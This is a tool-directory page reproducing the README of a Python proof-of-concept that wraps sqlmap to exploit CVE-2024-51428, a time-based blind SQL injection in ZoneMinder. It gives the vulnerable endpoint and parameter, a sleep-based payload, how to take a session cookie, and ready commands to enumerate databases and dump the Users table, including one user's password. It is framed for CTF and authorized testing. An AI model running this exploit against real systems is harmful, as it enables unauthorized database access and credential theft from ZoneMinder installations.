Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-51428-PoC — Wrapper in Python to exploit CVE-2024-51428 in ZoneMinder using Blind SQL Injection using sqlmap, automating enumeration of DBs, tables, and data extraction with clean output. | Kitploit
Tools/GitHubGitHub/d1se0/cve-2024-51428-poc
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & Education
GitHubd1se0/cve-2024-51428-poc

CVE-2024-51428-PoC

Wrapper in Python to exploit CVE-2024-51428 in ZoneMinder using Blind SQL Injection using sqlmap, automating enumeration of DBs, tables, and data extraction with clean output.

View Repository
15 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-51428 - ZoneMinder Blind SQL Injection PoC

Python wrapper for sqlmap designed to exploit CVE-2024-51428 in ZoneMinder.
This tool automates detection and exploitation of a Blind SQL Injection vulnerability while keeping the output clean and focused on useful data.

The script hides sqlmap logs and only displays relevant information such as:

  • Detected injection point
  • Database names
  • Tables
  • Dumped credentials or sensitive data

This makes the tool ideal for CTF environments, demonstrations, and security testing.


Vulnerability Overview

CVE: CVE-2024-51428
Type: Blind SQL Injection
Affected Software: ZoneMinder
Attack Vector: HTTP GET parameter
Parameter: tid

The vulnerability exists in the following endpoint:

root@kitploit:~
/zm/index.php?view=request&request=event&action=removetag&tid=

The tid parameter is not properly sanitized before being used in a database query, allowing attackers to inject SQL queries.

The exploitation technique used is time-based blind SQL injection.

Example payload discovered by sqlmap:

root@kitploit:~
tid=1 AND (SELECT 3475 FROM (SELECT(SLEEP(5)))BZWD)

This payload forces the database to sleep if the query is executed successfully, confirming the presence of SQL injection.


Features

  • Automatic Blind SQL Injection detection
  • Database enumeration
  • Table enumeration
  • Table dumping
  • Column filtering
  • Row filtering
  • Clean output (sqlmap logs hidden)
  • Designed for CTF and pentesting labs

Requirements

  • Python 3
  • sqlmap

Install sqlmap if needed:

root@kitploit:~
sudo apt install sqlmap

Usage

Basic syntax:

root@kitploit:~
python3 poc.py --url <TARGET_URL> -c '<ZMSESSID_COOKIE>'

With this command we check if it is vulnerable or not

Example:

root@kitploit:~
python3 poc.py --url http://target.htb -c '151fvdqmjkhnkfat7l5epgmd22'

Getting the Required Cookie

The exploit requires a valid ZoneMinder session cookie.

Steps:

  1. Open the target in your browser
  2. Open Developer Tools
  3. Navigate to:
root@kitploit:~
Application → Cookies
  1. Locate the cookie named:
root@kitploit:~
ZMSESSID
  1. Copy its value and use it with -c

Example:

root@kitploit:~
-c '151fvdqmjkhnkfat7l5epgmd22'

Checking if the Target is Vulnerable

root@kitploit:~
python3 poc.py --url http://target.htb -c 'COOKIE'

Example output:

root@kitploit:~
[*] Checking vulnerability...

Parameter: tid (GET)
Type: time-based blind
Payload: tid=1 AND (SELECT(SLEEP(5)))

[+] TARGET IS VULNERABLE TO BLIND SQL INJECTION

Enumerating Databases

root@kitploit:~
python3 poc.py --url http://target.htb -c 'COOKIE' -d

Example output:

root@kitploit:~
available databases [3]:
information_schema
mysql
zm

Enumerating Tables

root@kitploit:~
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm

Example output:

root@kitploit:~
Database: zm

Users
Events
Monitors
Storage

Dumping a Table

root@kitploit:~
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Users

Dumping a Specific Column

root@kitploit:~
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Users -f Username

Example:

root@kitploit:~
+----------+
| Username |
+----------+
| admin    |
| viewer   |
+----------+

Filtering Rows (WHERE clause)

You can filter rows using:

root@kitploit:~
-ff <COLUMN> <VALUE>

Example:

root@kitploit:~
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Password -ff Username mark

Equivalent SQL:

root@kitploit:~
WHERE Username='mark'

Dumping Password for a Specific User

Example:

root@kitploit:~
python3 poc.py \
--url http://target.htb \
-c 'COOKIE' \
-d -db zm -t Users \
-f Password \
-ff Username mark

Internal sqlmap command:

root@kitploit:~
sqlmap -D zm -T Users -C Password --where="Username='mark'" --dump

How the Tool Works

The script acts as a wrapper around sqlmap.

Steps performed internally:

  1. Build the vulnerable endpoint
root@kitploit:~
/zm/index.php?view=request&request=event&action=removetag&tid=1
  1. Pass the authentication cookie to sqlmap
  2. Execute sqlmap with optimized options:
root@kitploit:~
--threads=10
--technique=T
--batch
  1. Parse sqlmap output in real time
  2. Filter out logs and display only:
  • injection information
  • databases
  • tables
  • dumped data

Intended Use

This tool was created for:

  • Capture The Flag challenges
  • Security research
  • Educational purposes
  • Pentesting labs

Disclaimer

This project is provided for educational and authorized security testing purposes only.

The author is not responsible for any misuse of this tool.

Always obtain proper authorization before testing any system.


Author

Security Research / CTF tooling

Download Tool